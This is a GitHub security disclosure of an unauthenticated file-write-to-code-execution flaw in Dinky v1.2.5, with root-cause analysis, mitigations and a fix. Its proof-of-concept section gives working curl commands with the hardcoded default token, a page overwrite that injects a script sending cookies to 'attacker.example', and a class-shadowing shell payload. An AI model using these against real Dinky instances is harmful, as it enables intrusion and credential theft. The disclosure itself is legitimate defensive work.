Skip to content

[Security] Unauthenticated arbitrary file write via POST /download/uploadFromRsByLocal (DownloadController.uploadFromRs) leading to code execution — v1.2.5 and dev branch, CVSS 9.8 #4566

Description

@Kimdir01

Public security disclosure — coordinated through VulnCheck (CNA)

This issue is posted publicly at the explicit request of VulnCheck, an authorised CVE Numbering
Authority, who are coordinating disclosure of this finding and need a public reference in order to
assign and publish a CVE identifier. VulnCheck CVD submission ID: 9061762d-07d1-4cb1-8699-0cb819c981ef.

Disclosure timeline

  • 2026-07-30 — reported to VulnCheck for coordinated disclosure.
  • 2026-08-03 — VulnCheck confirmed no published security contact exists for this project, no
    release has shipped since 2025-11-05, and CVE-2026-3051 / 3052 / 3053 (assigned February 2026)
    remain unfixed.
  • 2026-08-04 — private GitHub security advisory GHSA-2p66-w3p3-5226 filed with the maintainers.
  • 2026-08-04 — this public issue opened so a CVE can be assigned.

Maintainers: I would still much prefer you handle this through the private advisory GHSA-2p66-w3p3-5226 and
publish your own GHSA. I am happy to re-test any fix. Please credit Asadbek Fatullayev.

Reporter: Asadbek Fatullayev — independent security researcher, Tashkent, Uzbekistan.

This is one of two separate issues reported on the same day. The other is the unauthenticated /api/sysConfig/getAll configuration/credential disclosure (GHSA-c48m-x2xw-32rj). They are
different routes, different methods and different CWEs — please do not treat them as duplicates.


SUMMARY
POST /download/uploadFromRsByLocal (DownloadController.uploadFromRs) puts the request parameter "path" straight into new File(path) + mkdirs() + transferTo(), with no path validation. It is unauthenticated (@SaIgnore; /download/** outside the Sa-Token interceptor), so the only guard compares a header to SystemConfiguration.dinkyToken, whose default efda1551-7958-4e0f-80a8-dfd107df3e38 is hardcoded in source and shipped to every deployment. Anyone reaching the Dinky port (8888 default) gets arbitrary file write as the Dinky service account, which I escalated to OS command execution in the Dinky JVM. Honest preconditions: writes are uid 9999(flink), NOT root (/etc, /root, /home, /usr refused), and code execution lands only at the next JVM start, which I triggered myself; the write and the SPA overwrite are immediate.

CWE AND CVSS (from my report; not re-scored)
CWE-434 (unrestricted file upload) with CWE-22 (path restriction failure); enabling CWE-798 (hardcoded credentials).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical (S:U not S:C; not 10.0). Fallback (confidentiality on the write alone): same vector, C:N = 9.1.

ROOT CAUSE - dinky-admin/src/main/java/org/dinky/controller/DownloadController.java, v1.2.5 (ce7678e); class @RequestMapping("/download") at :68
134: @PostMapping("uploadFromRsByLocal")
136: @SaIgnore
138: String path, @RequestParam("file") MultipartFile file, @RequestHeader("token") String token) {
140: if (!systemConfiguration.getDinkyToken().getValue().equals(token)) {
149: File dest = new File(path);
151: dest.getParentFile().mkdirs();
153: file.transferTo(dest);
Constrained sibling: :126 downloadFromRs -> BaseResourceManager.getInstance().readFile(path)

REACHABILITY, ONE HOP PER LINE

  1. Entry: multipart POST /download/uploadFromRsByLocal - DownloadController.java:68 + :134.
  2. "path" is unannotated and unvalidated (:138); the only guard is the token compare at :140.
  3. Token default hardcoded - dinky-common/src/main/java/org/dinky/data/model/SystemConfiguration.java:132.
  4. Guards 2-3 resourcesEnable/resourcesModel (:143-144) default permissive - SystemConfiguration.java:268,:278.
  5. Sink - :149-153.
  6. Escalation - script/bin/auto.sh:161 and :217 put /opt/dinky first on the launch classpath, so /opt/dinky/org/dinky/Dinky.class shadows the main class.
    Auth config read: AppConfig.addInterceptors() (dinky-admin/src/main/java/org/dinky/configure/AppConfig.java:73-94) is the only Sa-Token interceptor - includes "/api/","/openapi/" (:87), excludes "/download/**" (:92); no other filter or Spring Security in dinky-admin (grep: 0).

DEFAULT-CONFIGURATION REACHABILITY
deploy/docker/docker-compose.yml:4-7 - image "dinkydocker/dinky-standalone-server:${DINKY_VERSION}-flink${FLINK_VERSION}", ports "8888:8888", no proxy or auth layer. Dockerfile:24 chmod -R 777 /opt/dinky/ (classpath, bin/, config/ writable); Dockerfile:26 EXPOSE 8888. No SQL seed overrides it.

PROOF OF CONCEPT - ENVIRONMENT (stock image, zero env vars, zero configuration)
dinkydocker/dinky-standalone-server:1.2.5-flink1.14, digest sha256:871a1bea6d7832ad0fffd4b0d0b3546e3b1905bfddb973161072d93c617e6adf, amd64, built 2025-11-05T11:45:28Z; docker run -d --name pg0-dinky -p 18901:8888
$ curl -s http://127.0.0.1:18901/api/version -> {"data":"1.2.5","code":0,"msg":"Successfully","time":"2026-07-30 10:21:18"}
$ docker exec pg0-dinky ls /opt/dinky/lib -> dinky-admin-1.2.5.jar (JVM 1.8.0_345 as uid 9999(flink)). Fresh container; no /opt/dinky/org at baseline

PROOF OF CONCEPT - TRANSCRIPT (2026-07-30; no credential, cookie or session in ANY request)
$ U=http://127.0.0.1:18901/download/uploadFromRsByLocal ; S=/opt/dinky/config/static
$ TOK=efda1551-7958-4e0f-80a8-dfd107df3e38
$ post(){ curl -s -X POST "$U?path=$1" -H "token: $TOK" -F "file=@$2"; } # only header

NEG. CONTROL 1 - no token header
$ curl -s -X POST "$U?path=$S/pg0neg1.txt" -F "file=@pg0payload.txt"
{"code":5,"success":false,"msg":"Required request header 'token' ... is not present"}
NEG. CONTROL 2 - wrong token
$ curl -s -X POST "$U?path=$S/pg0neg2.txt" -H "token: wrong-token-aaaa" -F "file=@pg0payload.txt"
{"data":null,"code":1,"msg":"token is not correct","time":"2026-07-30 10:22:12","success":false}
$ docker exec pg0-dinky ls $S/pg0neg1.txt $S/pg0neg2.txt -> No such file or directory (both)
=> nothing written; the hardcoded-token compare is the ONLY gate.

STEP 1 - write (pg0payload.txt = "PG0-DINKY-ARBITRARY-WRITE-PROOF-2026-07-30")
$ post $S/pg0pwn.txt pg0payload.txt
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:21","success":true}
$ docker exec pg0-dinky ls -la $S/pg0pwn.txt -> -rw------- 1 flink flink 43 Jul 30 10:22, content = marker

STEP 2 - overwrite the shipped SPA (md5 before 4250a4d614168ab66d7148b91f46ad70)
$ post $S/index.html pg0evil-index.html -> {"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:22:40"}
$ curl -s http://127.0.0.1:18901/ -> 200, text/html, 201 bytes (no restart):

PG0 DEFACED

<script>fetch("http://attacker.example/steal?c="+encodeURIComponent(document.cookie))</script>

NEG. CONTROL 3 - /etc/cron.d/pg0, /root/pg0, /home/flink/.bashrc, /usr/local/bin/pg0, /etc/profile.d/dinky_env: all "upload file failed", no file created.

STEP 3 - code execution by classpath shadowing. My org.dinky.Dinky class runs, in a static initialiser, /bin/sh -c "(echo PG0-RCE-PROOF; date; id; hostname) > /tmp/pg0-rce-proof.txt 2>&1"
$ post /opt/dinky/org/dinky/Dinky.class pg0classes/org/dinky/Dinky.class
{"data":null,"code":0,"msg":"Operate Successfully","time":"2026-07-30 10:24:53","success":true}
$ docker restart pg0-dinky # restart triggered by me
$ docker exec pg0-dinky cat /tmp/pg0-rce-proof.txt
PG0-RCE-PROOF / Thu Jul 30 10:25:10 AM UTC 2026 / uid=9999(flink) gid=9999(flink) / c31dc66de2cb
logs: ### PG0-RCE-EXECUTED: attacker code running inside the Dinky JVM ###

IMPACT - only what I observed
Unauthenticated arbitrary write under /opt/dinky, /opt/flink and /tmp (lib, extends, bin, config), served over HTTP at once; the shipped SPA replaced by attacker JavaScript on the app origin, which any admin loading the login page runs; OS command execution as the service account at the next JVM start, an account owning the app, its config and classpath; plus persistent DoS: transferTo leaves mode 0600 on bin/auto.sh, the container CMD.

LIMITATIONS AND PRECONDITIONS, unsoftened

  1. Writes are uid 9999(flink), not root; /etc/cron.d, /root, /home/flink/.bashrc, /usr/local/bin, /etc/profile.d were refused. No root, no container escape, no Flink lateral movement.
  2. Code execution requires a service restart, which I triggered myself; not instantaneous RCE, and I do not present it as such.
  3. The execution vector is the classpath .class/jar drop, not auto.sh: overwriting auto.sh only loses the execute bit (availability, not execution).
  4. The linked unauthenticated /api/sysConfig/getAll disclosure (CWE-306/CWE-200, 7.5) is narrow: on a stock install only dinkyToken matters, and it is public in source anyway, so it is a force-multiplier, not a prerequisite - though it does mean rotating the token is no mitigation.
  5. No CVSS 10.0 - S:U, not S:C.
  6. Tested on the flink1.14 standalone image only; *-flink1.20 and tarball installs untested.
  7. My duplicate web sweep was narrower than I would like.

SUGGESTED FIX
At DownloadController.java:149-153, reject absolute paths: resolve beneath the configured resource root (SystemConfiguration.java:281), canonicalise and require startsWith(base.getCanonicalPath() + File.separator), or route it through BaseResourceManager like downloadFromRs() at :126-132. Also drop the hardcoded default at SystemConfiguration.java:132.

PRIOR-ART CHECK, re-run 2026-07-30
Repo security-advisories API: []. NVD keywordSearch=dinky -> only CVE-2026-3051, CVE-2026-3052, CVE-2026-3053 (other files/functions: GitRepository traversal, FlinkProxy SSRF, AppConfig auth on /openapi/**); GitHub advisory DB -> only GHSA-f256-j3x2-h7wh / -v2vh-hr2h-f29r / -w3pf-j6xr-fj68 (+ public_exp #5-#7). I flag CVE-2026-3053 as the nearest neighbour and ask you not to merge it. Repo/GitHub searches (EN+CN) for the endpoint name, dinkyToken, efda1551, 任意文件上传 -> 0, bar #1838 (unrelated closed bug) and 8 fork copies. DuckDuckGo for the endpoint name and token literal -> "No results found"; Bing -> spam; my WebSearch budget was exhausted, so no broad multi-engine/Chinese-forum sweep. UNPATCHED on the latest release (v1.2.5, 2025-11-05, newest tag, which I exploited) and on default branch dev HEAD 63b5a5a (2026-07-19), where uploadFromRs is byte-identical; no commits since 2025-11-01 touch either file.

Validation note: this was validated against the official released artifact named above, deployed locally in Docker. It was not tested against any third party's live production instance.


Mitigation for operators, until a fix ships

There is no fixed version at the time of writing. In the meantime:

  1. Do not expose the Dinky port (8888 by default) to untrusted networks or the internet. Put it
    behind a VPN or an authenticating reverse proxy.
  2. Change sys.env.settings.dinkyToken away from the shipped default
    efda1551-7958-4e0f-80a8-dfd107df3e38. That default is hardcoded in the source and shipped to
    every deployment.
  3. Block /download/** and /api/sysConfig/getAll at the reverse proxy for any client that does not
    need them.
  4. Rotate any credential that was ever entered into the Settings Center (LDAP bind password,
    object-storage access/secret keys, DolphinScheduler API token) — on an exposed instance they must
    be assumed disclosed.

Suggested fix

See the root-cause section above. In short: enforce the Sa-Token interceptor on the affected route,
and remove the method-level @SaIgnore / add proper path validation as applicable.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions